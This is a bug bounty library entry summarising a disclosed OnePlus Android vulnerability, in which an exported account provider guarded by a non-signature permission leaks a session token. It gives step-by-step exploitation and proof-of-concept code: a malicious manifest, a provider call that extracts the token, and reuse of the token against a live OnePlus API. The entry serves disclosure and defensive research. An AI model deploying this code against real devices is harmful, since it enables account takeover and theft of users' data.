# Preinstalled but Not Safe. OnePlus OEM App Session Takeover Vulnerability

OnePlus account app's exported OPAccountProvider was guarded by a non-signature permission any app could declare, leaking a OnePlus Cloud session token for account takeover.

- Payout: $720
- Severity: high
- Program: OnePlus
- Write-up by: Doyensec
- Disclosed: 2026-11-29
- Write-up quality: 7/10
- Original: https://blog.doyensec.com/2026/11/30/oneplus-session-takeover.html
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-doyensec-com-2026-11-30-oneplus-session-takeover-html
- Tags: area:mobile domain:mobile impact:ato impact:data-leak kind:research platform:research sev:high tech:android technique:source-review vuln:access-control vuln:account-takeover vuln:info-disclosure vuln:misconfiguration

**Target:** Android exported content provider (OPAccountProvider) in com.oneplus.account
**Root cause:** The exported provider is protected by com.oneplus.account.READ_ACCOUNT_INFO, which is not defined with signature protection level, so any app declaring it in its manifest can call the provider and receive the account's oldSecondaryToken.
**Steps:**
1. Extract preinstalled APKs and enumerate exported components; filter by privileged/OnePlus-specific permissions like com.oneplus.account.READ_ACCOUNT_INFO.
2. Find exported provider `com.oneplus.account.provider.open` (com.heytap.usercenter.op.sdk.OPAccountProvider) with `android:readPermission="com.oneplus.account.READ_ACCOUNT_INFO"`.
3. Note the permission lacks signature protection; declare `<uses-permission android:name="com.oneplus.account.READ_ACCOUNT_INFO" />` in a malicious app manifest.
4. Call the provider: `cr.call(AUTHORITY_URI, "get_account_oneplus_token", arg, extras)` and read `out.getString("token")`.
5. Use the token as `X-Token` header against `https://uc-client-fr.oneplus.com/uc/v1/user-info/update-real-name` (requires additional payload signing/encryption) to modify victim data.
**How found:** Enumerated 1,824 exported activities across 176 preinstalled APKs, prioritized components with sensitive permissions (INSTALL_PACKAGES, WRITE_SECURE_SETTINGS, DUMP) and OnePlus-specific ones like READ_ACCOUNT_INFO, reducing to ~350 components. Decompiled obfuscated code with AI-assisted deobfuscation and data-flow analysis, then used Frida to instrument the OkHttp interceptor chain to observe request signing/encryption.
**Exploitation:** A malicious app installed on the victim's phone declares the unprotected permission, calls the exported provider with command get_account_oneplus_token, and extracts oldSecondaryToken. That token is an authenticated OnePlus Cloud session; the attacker sends it as X-Token to the uc-client API (with required payload signing/encryption) to read and modify victim account data. No user interaction beyond installing the app.
**Insight:** OEM-specific custom permissions are a high-yield filter when triaging preinstalled APK attack surface: grep manifests for vendor-namespaced permissions and check whether they are actually declared with signature protectionLevel, since a permission name alone implies no protection.

## Proof of concept (copied exactly from the original report)

**Malicious app declares permission and calls provider**

```
<uses-permission android:name="com.oneplus.account.READ_ACCOUNT_INFO" />
<uses-permission android:name="android.permission.INTERNET" />


The application then calls the vulnerable provider and extracts the sensitive token from its response. Because the permission is not signature-restricted, the malicious application can simply declare it in its own manifest and access the provider without user interaction:

val cr: ContentResolver = context.contentResolver
val AUTHORITY_URI: Uri = Uri.parse("content://com.oneplus.account.provider.open");
val out = cr.call(AUTHORITY_URI, "get_account_oneplus_token", arg, extras)
if (out == null) {
 Log.d(TAG, method + " failed")
} else {
 val token = out.getString("token")
 if (token != null) {
 Log.d(TAG, token!!)
 } else {
 Log.d(TAG, "failed")
 }
```

**Stolen token used against OnePlus Cloud API**

```
val request = Request.Builder()
 .url("https://uc-client-fr.oneplus.com/uc/v1/user-info/update-real-name")
 .post(body)
 .addHeader("X-Token", token!!)
 //skipped for brevity
 .build()

val response = client.newCall(request).execute()
```

**Exported provider with non-signature permission**

```
<provider
 android:authorities="com.oneplus.account.provider.open"
 android:exported="true" android:name="com.heytap.usercenter.op.sdk.OPAccountProvider"
 android:readPermission="com.oneplus.account.READ_ACCOUNT_INFO"
/>
```

